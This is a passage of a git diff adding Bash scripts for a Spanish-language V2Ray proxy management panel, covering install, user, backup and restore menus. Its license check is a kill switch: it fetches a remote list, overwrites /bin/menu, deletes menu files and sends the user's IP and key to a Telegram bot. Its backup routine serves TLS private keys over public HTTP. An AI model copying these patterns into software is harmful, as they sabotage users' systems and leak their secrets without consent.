+clear +msg -bar +msg -tit +msg -ama " ELIMINAR EXPIRADOS | UUID V2RAY" +msg -bar +echo "" +echo -e " $statgen " +echo "" +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} + + [[ ! -e $config ]] && { + clear + msg -bar + blanco " No se encontro ningun archivo de configracion v2ray" + msg -bar + blanco " No instalo v2ray o esta usando\n una vercion diferente!!!" + msg -bar + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi esta usando una vercion v2ray diferente" + echo -e " y opta por cuntinuar usando este script." + echo -e " Este puede; no funcionar correctamente" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar +msg -ne "Enter Para Continuar" && read enter +clear&&clear + } + +_fixv2() { +unset opcion +clear + title " restablecer ajustes v2ray" + echo -e " \033[0;31mEsto va a restablecer los\n ajustes predeterminados de v2ray" + echo -e " Se perdera ajuste previos,\n incluido los Usuarios\033[0m" + echo -e " LUEGO DE ESTO, DEBERAS RECONFIGURAR TU METODO\n\033[0m" + msg -bar + blanco "quiere continuar? [S/N]" 0 + read opcion + msg -bar + case $opcion in + [Ss]|[Yy]) + v2ray new + echo "" > /etc/adm-lite/RegV2ray + echo "" > /etc/adm-lite/RegV2ray.exp + ;; + [Nn]) continuar && read foo;; + esac +} + +_tools(){ + +echo -e " \e[97m1 CREAR: " +echo -e " \e[97m2 RENOVAR: " +echo -e " \e[97m3 ELIMINAR: " +echo -e " \e[97mEstado actual: " + +selection=$(selection_fun 4) +case ${selection} in +1)add_user;; +2)renew;; +3)dell_user;; +3)portv;; +esac +} + +selection_fun () { +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do +echo -ne "\033[1;37m- ► Escoje -: " >&2 +read selection +tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} + +[[ $1 = "autoDel" ]] && { + autoDel +} || { + autoDel +} +clear&&clear +[[ ! -e $config ]] && { +v2ray="\033[1;31m[OFF]" +msg -bar +msg -tit +msg -ama " PANNEL V2RAY Mod ChumoGH ${vesaoSCT} " +msg -bar +## INSTALADOR +echo -e "\033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m INSTALAR V2RAY $v2ray" +echo -ne "$(msg -bar)\n\033[1;32m [0] > " && msg -bra "\e[97m\033[1;41m VOLVER \033[1;37m" +msg -bar +pid_inst () { +[[ $1 = "" ]] && echo -e "\033[1;31m[OFF]" && return 0 +unset portas +portas_var=$(lsof -V -i -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep $1) +[[ ! -z ${portas_var} ]] && echo -e "\033[1;32m[ Servicio Activo ]" || echo -e "\033[1;31m[ Servicio Desactivado ]" +} +echo -e " \e[97mEstado actual: $(pid_inst v2ray)" +unset selection +selection=$(selection_fun 1) +case ${selection} in +1)intallv2ray;; +esac +} || { +PID_GEN=$(ps x|grep -v grep|grep "limv2ray") +[[ ! $PID_GEN ]] && PID_GEN="\e[91m [ OFF ] " || PID_GEN="\e[92m [ ON ] " +statgen="$(echo $PID_GEN)" +[[ $(cat /etc/v2ray/config.json | jq '.inbounds[].streamSettings.security') = '"tls"' ]] && _tlsN=" \033[1;32m [ \033[0;34m ACTIVO \033[1;32m ]" || _tlsN=" \033[1;32m [ \033[0;33m CERRADO\033[1;32m ]" +[[ -e /etc/v2ray/config.json ]] && _netW="$(cat /etc/v2ray/config.json | jq '.inbounds[].streamSettings.network')" || _netW="\033[0;32mnull" +[[ -e /etc/v2ray/config.json ]] && _v2Reg="$(cat /etc/v2ray/config.json | jq .inbounds[].settings.clients[].email|wc -l)" || _v2Reg="\033[0;32mnull" +_v2RegE=$(cat $user_confEX | wc -l) +v1=$(cat /bin/ejecutar/v-new.log) +v2=$(cat /etc/adm-lite/v-local.log) +[[ $v1 = $v2 ]] && vesaoSCT="\033[0;33m ($v2)" || vesaoSCT="\033[0;33m($v2) ► \033[1;32m($v1)\033[1;31m" +v2rayports=`netstat -tunlp | grep v2ray | grep LISTEN | grep -vE '127.0.0.1' | awk '{print substr($4,4); }' > /tmp/v2.txt && echo | cat /tmp/v2.txt | tr '\n' ' ' > /etc/adm-lite/v2ports.txt && cat /etc/adm-lite/v2ports.txt`; +[[ -z $(echo "$v2rayports" | awk {'print $1'}) ]] && _v2rayports="null" || _v2rayports=$(echo "$v2rayports" | awk {'print $1'}) +_tconex=$(netstat -nap | grep "$_v2rayports" | grep v2ray | grep ESTABLISHED |grep tcp6| awk {'print $5'} | awk -F ":" '{print $1}' | sort | uniq | wc -l) +#SPR & +msg -bar3 +msg -bar +msg -tit +msg -ama " PANNEL V2RAY Mod ChumoGH ${vesaoSCT} " +[[ ! -z $_v2rayports ]] && echo -e " \e[97m\033[1;41mPUERTO ACTIVO :\033[0m \033[3;32m$_v2rayports\033[0m \e[97m\033[1;41m ACTIVOS:\033[0m \033[3;32m\e[97m\033[1;41m $_tconex " || echo -e " \e[97m\033[1;41mERROR A INICIAR V2RAY : \033[0m \033[3;32m FAIL\033[3;32m" +msg -bar +bg=0 +## INSTALADOR +[[ $(v2ray info |grep Group | wc -l) > 0 ]] || { +echo -e "\033[0;35m[\033[0;36m12\033[0;35m] \033[0;34m<\033[0;33m V2RAY BUGEADO \033[1;32m [ \033[0;34mFIX INSTALL \033[1;32m ]" +bg=1 +} +[[ $bg = 0 ]] && { +echo -e "\033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m CAMBIAR PROTOCOLO -> \033[1;32m [ \033[0;34m${_netW} \033[1;32m ]" +echo -e "\033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m TLS ESTADO : -> ${_tlsN}" +echo -e "\033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m<\033[0;33m CAMBIAR PUERTO V2RAY \033[1;32m [ \033[0;32m$_v2rayports \033[1;32m]\n$(msg -bar) " +## CONTROLER \033[0;31m [\033[0;32mON\033[0;31m] +echo -e "\033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m<\033[0;33m AÑADIR USUARIO UUID " +#echo -e "\033[0;35m[\033[0;36mG\033[0;35m] \033[0;34m<\033[0;33m AÑADIR USUARIO POR GRUPOS " +echo -e "\033[0;35m[\033[0;36m5\033[0;35m] \033[0;34m<\033[0;33m ELIMINAR USUARIO UUID " +echo -e "\033[0;35m[\033[0;36m6\033[0;35m] \033[0;34m<\033[0;33m RENOVAR USUARIO \033[1;32m ( ${_v2RegE} )" +echo -e "\033[0;35m[\033[0;36m7\033[0;35m] \033[0;34m<\033[0;33m USUARIOS REGISTRADOS \033[1;32m ( ${_v2Reg} )" +echo -e "\033[0;35m[\033[0;36m8\033[0;35m] \033[0;34m<\033[0;33m INFORMACION DE CUENTAS " +#echo -e "\033[0;35m[\033[0;36m9\033[0;35m] \033[0;34m<\033[0;33m ESTADISTICAS DE CONSUMO " +echo -e "\033[0;35m[\033[0;36m9\033[0;35m] \033[0;34m<\033[0;33m USUARIOS CONECTADOS " +#echo -ne "\033[1;32m [10] > " && msg -azu " LIMITADOR POR CONSUMO \033[1;33m( #BETA )" +echo -e "\033[0;35m[\033[0;36m10\033[0;35m] \033[0;34m<\033[0;33m LIMPIADOR DE EXPIRADOS $statgen\n$(msg -bar)" +echo -e "\033[0;35m[\033[0;36m13\033[0;35m] \033[0;34m<\033[0;33m FUNCIONES BETAS \n$(msg -bar)" +} || { +clear&&clear + title " V2RAY CON UN BUG - PARA FIXEAR" + echo -e " \033[0;31m Selecciona, la opcion disponible" + echo -e " y recuerda leer las indicaciones que sugiere\n" + echo -e " LUEGO DE ESTO, DEBERAS RECONFIGURAR TU METODO\n\033[0m" + msg -bar +echo -e "\033[0;35m[\033[0;36m12\033[0;35m] \033[0;34m<\033[0;33m V2RAY BUGEADO \033[1;32m [ \033[0;34mFIX INSTALL \033[1;32m ]" +} +## DESISNTALAR +echo -ne "\033[1;32m [11] > " && msg -azu "\033[1;31mDESINSTALAR V2RAY" +echo -ne "$(msg -bar)\n\033[1;32m [0] > " && msg -bra "\e[97m\033[1;41m VOLVER \033[1;37m" +msg -bar +pid_inst () { +[[ $1 = "" ]] && echo -e "\033[1;31m[OFF]" && return 0 +unset portas +portas_var=$(lsof -V -i -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep $1) +[[ ! -z ${portas_var} ]] && echo -e "\033[1;32m[ Servicio Activo ]" || echo -e "\033[1;31m[ Servicio Desactivado ]" +} +echo -e " \e[97mEstado actual: $(pid_inst v2ray)" +unset selection +selection=$(selection_fun 13) +case ${selection} in +0)v2ray restart && exit ;; +1)protocolv2ray;; +2)tls;; +3)portv;; +4)addusr;; +5)_delUSR;; +6)echo -e " ANALIZANDO USUARIOS CADUCADOS" +renew;; +7)mosusr_kk;; +8)infocuenta;; +9)stats;; +#10)lim_port;; +10)limpiador_activador;; +11)unistallv2;; +12)_fixv2;; +13)_tools;; +esac +} diff --git a/Recursos/v2ray_manager.sh b/Recursos/v2ray_manager.sh new file mode 100644 index 0000000..50242b4 --- /dev/null +++ b/Recursos/v2ray_manager.sh @@ -0,0 +1,2023 @@ +#!/bin/bash + +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".") txt[$i]="x";; +"x") txt[$i]=".";; +"5") txt[$i]="s";; +"s") txt[$i]="5";; +"1") txt[$i]="@";; +"@") txt[$i]="1";; +"2") txt[$i]="?";; +"?") txt[$i]="2";; +"4") txt[$i]="0";; +"0") txt[$i]="4";; +"/") txt[$i]="K";; +"K") txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} + +source msg + +clear +function chekKEY { +[[ -z ${IP} ]] && IP=$(cat < /bin/ejecutar/IPcgh) +[[ -z ${IP} ]] && IP=$(wget -qO- ifconfig.me) +Key="$(cat /etc/cghkey)" +_double=$(curl -sSL "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT") +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +[[ -e /file ]] && _double=$(cat < /file) || { +wget -q -O /file https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT +_double=$(cat < /file) +} +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ ! -e /etc/folteto ]] && { +wget --no-check-certificate -O /etc/folteto $IiP:81/ChumoGH/checkIP.log +cheklist="$(cat /etc/folteto)" +echo -e "$(echo -e "$cheklist" | grep ${IP})" > /etc/folteto +} +[[ -z ${_check2} ]] && { +mss_='\n BotGEN NO AUTORIZADO POR @drowkid01 ' +cat </bin/menu +clear && clear +echo -e "\n\n\033[1;31m==================================================\n ?? ?? KEY BANEADA ?? ! CONTACTE Su ADMINISTRADOR! \n==================================================\n ?? FECHA DE BANEO :$(date +%d/%m/%Y) HORA :$(date +%H:%M:%S) \n==================================================\n\n?? ${mss_} \n\n==================================================\n" +echo -e " \e[1;32m --- SI CONSIDERA QUE FUE UN ERROR --- " | pv -qL 60 +echo -e " \e[1;32m -- ${mss_} -- " | pv -qL 60 +echo -e "\n \e[1;93m --- TECLEA \e[1;93m --- \e[1;97mcgh -fix\e[1;93m --- " | pv -qL 50 +echo -e "\n\033[1;31m==================================================\n\n" +#echo "/etc/adm-lite/menu" > /bin/menu && chmod +x /bin/menu +EOF + +rm -f /etc/folteto +rm -f /etc/adm-lite/menu* + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" INSECTO DETECTADO EN V2ray MENU LITE\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" Key : ${Key}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" HORA : $(printf '%(%D-%H:%M:%S)T')\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot ADMcgh de keyS ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +exit && exit +} +} +config="/etc/v2ray/config.json" + +#echo -ne "\033[1;32m[ INST \033[1;31m + \033[1;32mWORK ] " + +_v2=`if netstat -tunlp | grep v2ray 1> /dev/null 2> /dev/null; then +[[ -e ${config} ]] && echo -e "\033[1;32m[ INST \033[1;31m+ \033[1;32mWORK ] " +else +[[ -e ${config} ]] && echo -e "\033[1;32m[ INST \033[1;31m+ \033[1;33mLOADING \033[1;32m] " || echo -e "\033[1;32m[ \033[1;31mNO INST \033[1;32m] " +fi`; + +configLOCK="/etc/v2ray/config.json.lock" +temp="/etc/v2ray/temp.json" +CGHlog='/var/log/v2ray/access.log' +v2rdir="/etc/v2r" && [[ ! -d $v2rdir ]] && mkdir $v2rdir +user_conf="/etc/v2r/user" && [[ ! -e $user_conf ]] && touch $user_conf +backdir="/etc/v2r/back" && [[ ! -d ${backdir} ]] && mkdir ${backdir} +tmpdir="$backdir/tmp" +[[ ! -e $v2rdir/conf ]] && echo "autBackup 0" > $v2rdir/conf +if [[ $(cat $v2rdir/conf | grep "autBackup") = "" ]]; then + echo "autBackup 0" >> $v2rdir/conf +fi +barra="\033[0;31m=====================================================\033[0m" +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg > /dev/null || source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) > /dev/null +numero='^[0-9]+$' +hora=$(printf '%(%H:%M:%S)T') +fecha=$(printf '%(%D)T') + +Fun_bar () { +#==comando a ejecutar== +comando="$1" +#==interfas== +in=' [' +en=' ] ' +full_in="??" +full_en='100%' +bar=("--------------------" +"=-------------------" +"]=------------------" +"[-]=-----------------" +"=[-]=----------------" +"-=[-]=---------------" +"--=[-]=--------------" +"---=[-]=-------------" +"----=[-]=------------" +"-----=[-]=-----------" +"------=[-]=----------" +"-------=[-]=---------" +"--------=[-]=--------" +"---------=[-]=-------" +"----------=[-]=------" +"-----------=[-]=-----" +"------------=[-]=----" +"-------------=[-]=---" +"--------------=[-]=--" +"---------------=[-]=-" +"----------------=[-]=" +"-----------------=[-]" +"------------------=[" +"-------------------=" +"------------------=[" +"-----------------=[-]" +"----------------=[-]=" +"---------------=[-]=-" +"--------------=[-]=--" +"-------------=[-]=---" +"------------=[-]=----" +"-----------=[-]=-----" +"----------=[-]=------" +"---------=[-]=-------" +"--------=[-]=--------" +"-------=[-]=---------" +"------=[-]=----------" +"-----=[-]=-----------" +"----=[-]=------------" +"---=[-]=-------------" +"--=[-]=--------------" +"-=[-]=---------------" +"=[-]=----------------" +"[-]=-----------------" +"]=------------------" +"=-------------------" +"--------------------"); +#==color== +in="\033[1;33m$in\033[0m" +en="\033[1;33m$en\033[0m" +full_in="\033[1;31m$full_in" +full_en="\033[1;32m$full_en\033[0m" + + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do + for i in "${bar[@]}"; do + echo -ne "\r $in" + echo -ne "ESPERE $en $in \033[1;31m$i" + echo -ne " $en" + sleep 0.2 + done +done +echo -e " $full_in $full_en" +sleep 0.2s +} + + + +usrCONEC() { +[[ $log0 -le 1 ]] && { +#v2ray restart &> /dev/null +unset Users USERauth users UConc +v2ray clean &> /dev/null && let log0++ && clear +} +msg -bar3 +echo -e "" +echo -e " ESPERANDO A LA VERIFICACION DE IPS Y USUARIOS " +echo -e " ESPERE UN MOMENTO PORFAVOR $log0" +echo -e "" +msg -bar3 +fun_bar +msg -bar3 +sleep 5s +clear&&clear +title2 +msg -bar3 +users="$(cat $config | jq -r .inbounds[].settings.clients[].email)" +IP_tconex=$(netstat -nap | grep "$v2rayports"| grep v2ray | grep ESTABLISHED | grep tcp6 | awk {'print $5'}| awk -F ":" '{print $1}' | sort | uniq) +#IP_tconex=$(netstat -nap | grep "$v2rayports"| grep v2ray | grep ESTABLISHED | awk {'print $5'} | awk -F ":" '{print $1}' | sort | uniq) +n=1 +[[ -z $IP_tconex ]] && echo -e " NO HAY USUARIOS CONECTADOS!" +for i in $IP_tconex +do + USERauth=$(cat ${CGHlog} | grep $i | grep accepted |awk '{print $7}'| sort | uniq) + Users+="$USERauth\n" +done +echo -e " N) -|- USER -|- CONEXIONES "|column -t -s '-' +msg -bar3 +for U in $users + do + CConT=$(echo -e "$Users" | grep $U |wc -l) + [[ $CConT = 0 ]] && continue + UConc+=" $n) -|- $U -|- $CConT\n" + let n++ +done +echo -e "$UConc"|column -t -s '-' +msg -bar3 +continuar +read foo +} + +install_ini () { +sudo apt-get install software-properties-common -y +add-apt-repository universe +apt update -y; apt upgrade -y +clear +msg -bar3 +echo -e "\033[92m -- INSTALANDO PAQUETES NECESARIOS -- " +msg -bar3 +#bc +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || apt-get install bc -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install bc................... $ESTATUS " +#uuidgen +[[ $(dpkg --get-selections|grep -w "uuid-runtime"|head -1) ]] || sudo apt-get install uuid-runtime -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "uuid-runtime"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "uuid-runtime"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install uuid-runtime......... $ESTATUS " +#python +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python............... $ESTATUS " +#pip +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || apt-get install python-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python-pip........... $ESTATUS " +#python3 +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || apt-get install python3 -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3.............. $ESTATUS " +#python3-pip +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || apt-get install python3-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3-pip.......... $ESTATUS " +#QRENCODE +[[ $(dpkg --get-selections|grep -w "qrencode"|head -1) ]] || apt-get install qrencode -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "qrencode"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "qrencode"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install qrencode............. $ESTATUS " +#jq +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || apt-get install jq -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install jq................... $ESTATUS " +#curl +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || apt-get install curl -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install curl................. $ESTATUS " +#npm +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || apt-get install npm -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install npm.................. $ESTATUS " +#nodejs +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || apt-get install nodejs -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install nodejs............... $ESTATUS " +#socat +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || apt-get install socat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install socat................ $ESTATUS " +#netcat +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || apt-get install netcat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat............... $ESTATUS " +#netcat-traditional +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || apt-get install netcat-traditional -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat-traditional... $ESTATUS " +#net-tools +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || apt-get net-tools -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install net-tools............ $ESTATUS " +#cowsay +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || apt-get install cowsay -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install cowsay............... $ESTATUS " +#figlet +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install figlet............... $ESTATUS " +#lolcat +apt-get install lolcat -y &>/dev/null +sudo gem install lolcat &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install lolcat............... $ESTATUS " + +msg -bar3 +echo -e "\033[92m La instalacion de paquetes necesarios a finalizado" +msg -bar3 +echo -e "\033[97m Si la instalacion de paquetes tiene fallas" +echo -ne "\033[97m Puede intentar de nuevo [s/n]: " +read inst +[[ $inst = @(s|S|y|Y) ]] && install_ini +} + +autB(){ + if [[ ! $(cat $v2rdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + autBackup + fi + } + +restore(){ + clear + + unset num + unset opcion + unset _res + + if [[ -z $(ls $backdir) ]]; then + title " no se encontraron respaldos" + sleep 0.5 + return + fi + + num=1 + title " Lista de Respaldos creados" + blanco " nom \033[0;31m| \033[1;37mfechas \033[0;31m| \033[1;37mhora" + msg -bar3 + for i in $(ls $backdir); do + col "$num)" "$i" + _res[$num]=$i + let num++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco " cual desea restaurar?" 0 + read opcion + + [[ $opcion = 0 ]] && return + [[ -z $opcion ]] && blanco "\n deves seleccionar una opcion!" && sleep 0.1 && return + [[ ! $opcion =~ $numero ]] && blanco "\n solo deves ingresar numeros!" && sleep 0.1 && return + [[ $opcion -gt ${#_res[@]} ]] && blanco "\n solo numeros entre 0 y ${#_res[@]}" && sleep 0.1 && return + + mkdir $backdir/tmp + tar xpf $backdir/${_res[$opcion]} -C $backdir/tmp/ + + clear + title " Archivos que se restauran" + + if rm -rf $config && cp $tmpdir/config.json $temp; then + sleep 0.1 + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"/data/v2ray.crt\",keyFile:\"/data/v2ray.key\"}]}' >> $config" | bash + chmod 777 $config + rm $temp + blanco " /etc/v2ray/config.json..." && verde "[ok]" + else + blanco " /etc/v2ray/config.json..." && rojo "[fail]" + fi + + if rm -rf $user_conf && cp $tmpdir/user $user_conf; then + blanco " /etc/v2r/user..." && verde "[ok]" + else + blanco " /etc/v2r/user..." && rojo "[fail]" + fi + [[ -e $tmpdir/fullchain.cer ]] && mv $tmpdir/fullchain.cer $tmpdir/fullchain.crt + if rm -rf /data && mkdir /data && cp $tmpdir/*.crt /data/v2ray.crt && cp $tmpdir/*.key /data/v2ray.key; then + blanco " /data/v2ray.crt..." && verde "[ok]" + blanco " /data/v2ray.key..." && verde "[ok]" + else + blanco " /data/v2ray.crt..." && rojo "[fail]" + blanco " /data/v2ray.key..." && rojo "[fail]" + msg -bar3 + echo -e "VALIDA TU CERTIFICADO SSL " + v2ray tls + fi + rm -rf $tmpdir + msg -bar3 + continuar + read foo +} + +server(){ + clear + + if [[ $(npm ls -g | grep "http-server") = "" ]]; then + npm install --global http-server + clear + fi + + if [[ $(ps x | grep "http-server" | grep -v grep) = "" ]]; then + screen -dmS online http-server /etc/v2r/back/ --port 95 -s + title " Respaldos en linea" + col "su url:" "http://$(wget -qO- ipv4.icanhazip.com):95" + msg -bar3 + continuar + read foo + else + killall http-server + title " servidor detenido..." + sleep 0.1 + fi + } + +autBackup(){ + unset fecha + unset hora + unset tmp + unset back + unset cer + unset key + #fecha=`date +%d-%m-%y-%R` + fecha=`date +%d-%m-%y` + hora=`date +%R` + tmp="$backdir/tmp" && [[ ! -d ${tmp} ]] && mkdir ${tmp} + back="$backdir/v2r___${fecha}___${hora}.tar" + cer=$(cat /etc/v2ray/config.json | jq -r ".inbounds[].streamSettings.tlsSettings.certificates[].certificateFile") + key=$(cat /etc/v2ray/config.json | jq -r ".inbounds[].streamSettings.tlsSettings.certificates[].keyFile") + + cp $user_conf $tmp + cp $config $tmp + [[ ! $cer = null ]] && [[ -e $cer ]] && cp $cer $tmp + [[ ! $key = null ]] && [[ -e $cer ]] && cp $key $tmp + + cd $tmp + tar -cpf $back * + cp $back /var/www/html/v2rayBack.tar && echo -e " + Descargarlo desde cualquier sitio con acceso WEB + LINK : http://$(wget -qO- ifconfig.me):81/v2rayBack.tar \033[0m +-------------------------------------------------------" +read -p "ENTER PARA CONTINUAR" + rm -rf $tmp + } + +on_off_res(){ + if [[ $(cat $v2rdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + echo -e "\033[0;31m[off]" + else + echo -e "\033[1;92m[on]" + fi + } + +blanco(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;37m$1\033[0m" + } || { + echo -ne " \033[1;37m$1:\033[0m " + } +} + +verde(){ + [[ ! $2 = 0 ]] && { + echo -e 